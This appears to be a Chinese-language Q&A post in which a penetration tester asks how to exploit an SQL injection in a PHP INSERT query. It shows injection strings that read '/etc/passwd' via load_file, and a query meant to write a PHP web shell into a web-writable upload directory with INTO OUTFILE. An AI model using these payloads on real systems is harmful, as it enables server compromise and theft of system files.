小编Nyz*_*zal的帖子

在INSERT MySQL查询中选择INTO OUTFILE

这是一个有趣的场景.在最近的一次测试中,我在INSERT查询中遇到了SQL注入.后端代码看起来像这样:

$sqlquery= "INSERT INTO sometable set col1='" + $_GET['param'] + "'";
Run Code Online (Sandbox Code Playgroud)

我可以在文件中插入任意值,甚至可以使用SELECT子查询将'/ etc/passwd'的内容插入sometable中的col1,稍后通过应用程序中其他地方的完全不同的功能读取它.

$sqlquery= "INSERT INTO sometable set col1='1', (SELECT load_file('/etc/passwd'))";
Run Code Online (Sandbox Code Playgroud)

挑战是使用INTO OUTFILE将文件写入磁盘(我有FILE privs,文档根目录可由MySQL用户写入 - 已验证).看起来MySQL不支持以下内容:

$sqlquery= "INSERT INTO sometable set col1='1', (SELECT 'a' INTO OUTFILE '/tmp/data.txt')";
Run Code Online (Sandbox Code Playgroud)

目的是在我有写权限的文件夹中编写一个php web shell.需要执行的最终查询是:

 $sqlquery= "INSERT INTO sometable set col1='1', (SELECT '<?php system($_GET['x']) ?>' INTO OUTFILE'/var/www/app/imgupload/shell.php')";
Run Code Online (Sandbox Code Playgroud)

MySQL期望子查询返回数据,这就是上述语句似乎不起作用的原因,因为INTO OUTFILE会将数据写入磁盘而不是将其返回给MySQL.

你认为有一个解决方法吗?

php mysql sql-injection

1
推荐指数
1
解决办法
1529
查看次数

标签 统计

mysql ×1

php ×1

sql-injection ×1